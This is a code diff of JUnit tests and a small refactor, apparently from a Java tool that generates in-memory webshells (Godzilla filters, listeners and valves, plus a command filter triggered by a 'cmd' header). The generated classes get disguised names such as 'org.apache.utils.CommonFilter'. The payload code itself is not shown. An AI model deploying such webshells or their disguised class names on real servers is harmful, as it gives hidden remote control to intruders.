||||
String className = "org.apache.utils.CommonFilter";
|
||||
byte[] bytes = godzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue);
|
||||
byte[] bytes = GodzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue);
|
||||
IOUtils.write(bytes, Files.newOutputStream(Paths.get("CommonFilter.class")));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
package com.reajason.javaweb.memsell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
class JspPackerTest {
|
||||
|
||||
@Test
|
||||
void pack() {
|
||||
GenerateResult generateResult = GenerateResult.builder()
|
||||
.injectorClassName("hehe")
|
||||
.injectorBytesBase64Str("hehe").build();
|
||||
String jspContent = new String(new JspPacker().pack(generateResult));
|
||||
assertTrue(jspContent.contains("String className = \"hehe\";"));
|
||||
assertTrue(jspContent.contains("String base64Str = \"hehe\";"));
|
||||
}
|
||||
}
|
||||
+26
@@ -0,0 +1,26 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.command;
|
||||
|
||||
import com.reajason.javaweb.memsell.CommandGenerator;
|
||||
import com.reajason.javaweb.util.ClassUtils;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
class CommandFilterTest {
|
||||
|
||||
@Test
|
||||
void testGenerate() {
|
||||
String className = "org.command.CommandFilter";
|
||||
String headerName = "cmd";
|
||||
byte[] bytes = CommandGenerator.generate(CommandFilter.class, className, headerName);
|
||||
Object obj = ClassUtils.newInstance(bytes);
|
||||
assertEquals(className, obj.getClass().getName());
|
||||
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
|
||||
System.out.println(Base64.encodeBase64String(bytes));
|
||||
}
|
||||
}
|
||||
+1
-3
@@ -18,8 +18,6 @@ import static org.junit.jupiter.api.Assertions.*;
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
class GodzillaFilterTest {
|
||||
|
||||
GodzillaGenerator godzillaGenerator = new GodzillaGenerator();
|
||||
String pass = "pass";
|
||||
String key = "key";
|
||||
String headerName = "User-Agent";
|
||||
@@ -28,7 +26,7 @@ class GodzillaFilterTest {
|
||||
@Test
|
||||
void generate() {
|
||||
String className = "org.apache.utils.CommonFilter";
|
||||
byte[] bytes = godzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue);
|
||||
byte[] bytes = GodzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue);
|
||||
Object obj = ClassUtils.newInstance(bytes);
|
||||
assertEquals(className, obj.getClass().getName());
|
||||
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
|
||||
|
||||
+1
-3
@@ -12,8 +12,6 @@ import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
class GodzillaJakartaFilterTest {
|
||||
|
||||
GodzillaGenerator godzillaGenerator = new GodzillaGenerator();
|
||||
String pass = "pass";
|
||||
String key = "key";
|
||||
String headerName = "User-Agent";
|
||||
@@ -22,7 +20,7 @@ class GodzillaJakartaFilterTest {
|
||||
@Test
|
||||
void generate() {
|
||||
String className = "org.apache.utils.CommonJakartaFilter";
|
||||
byte[] bytes = godzillaGenerator.generate(GodzillaJakartaFilter.class, className, pass, key, headerName, headerValue);
|
||||
byte[] bytes = GodzillaGenerator.generate(GodzillaJakartaFilter.class, className, pass, key, headerName, headerValue);
|
||||
Object obj = ClassUtils.newInstance(bytes);
|
||||
assertEquals(className, obj.getClass().getName());
|
||||
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
|
||||
|
||||
+1
-3
@@ -12,8 +12,6 @@ import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
class GodzillaJakartaListenerTest {
|
||||
|
||||
GodzillaGenerator godzillaGenerator = new GodzillaGenerator();
|
||||
String pass = "pass";
|
||||
String key = "key";
|
||||
String headerName = "User-Agent";
|
||||
@@ -22,7 +20,7 @@ class GodzillaJakartaListenerTest {
|
||||
@Test
|
||||
void generate() {
|
||||
String className = "org.apache.utils.CommonJakartaListener";
|
||||
byte[] bytes = godzillaGenerator.generate(GodzillaJakartaListener.class, className, pass, key, headerName, headerValue);
|
||||
byte[] bytes = GodzillaGenerator.generate(GodzillaJakartaListener.class, className, pass, key, headerName, headerValue);
|
||||
Object obj = ClassUtils.newInstance(bytes);
|
||||
assertEquals(className, obj.getClass().getName());
|
||||
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
|
||||
|
||||
+1
-3
@@ -12,8 +12,6 @@ import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
class GodzillaListenerTest {
|
||||
|
||||
GodzillaGenerator godzillaGenerator = new GodzillaGenerator();
|
||||
String pass = "pass";
|
||||
String key = "key";
|
||||
String headerName = "User-Agent";
|
||||
@@ -22,7 +20,7 @@ class GodzillaListenerTest {
|
||||
@Test
|
||||
void generate() {
|
||||
String className = "org.apache.utils.CommonListener";
|
||||
byte[] bytes = godzillaGenerator.generate(GodzillaListener.class, className, pass, key, headerName, headerValue);
|
||||
byte[] bytes = GodzillaGenerator.generate(GodzillaListener.class, className, pass, key, headerName, headerValue);
|
||||
Object obj = ClassUtils.newInstance(bytes);
|
||||
assertEquals(className, obj.getClass().getName());
|
||||
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
|
||||
|
||||
+1
-2
@@ -12,7 +12,6 @@ import static org.junit.jupiter.api.Assertions.*;
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
class GodzillaValveTest {
|
||||
GodzillaGenerator godzillaGenerator = new GodzillaGenerator();
|
||||
String pass = "pass";
|
||||
String key = "key";
|
||||
String headerName = "User-Agent";
|
||||
@@ -21,7 +20,7 @@ class GodzillaValveTest {
|
||||
@Test
|
||||
void generate() {
|
||||
String className = "org.apache.utils.CommonValve";
|
||||
byte[] bytes = godzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue);
|
||||
byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue);
|
||||
Object obj = ClassUtils.newInstance(bytes);
|
||||
assertEquals(className, obj.getClass().getName());
|
||||
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
|
||||
|
||||
+12
-4
File diff suppressed because one or more lines are too long
+2
-4
File diff suppressed because one or more lines are too long
+1
-2
File diff suppressed because one or more lines are too long
Reference in New Issue
Block a user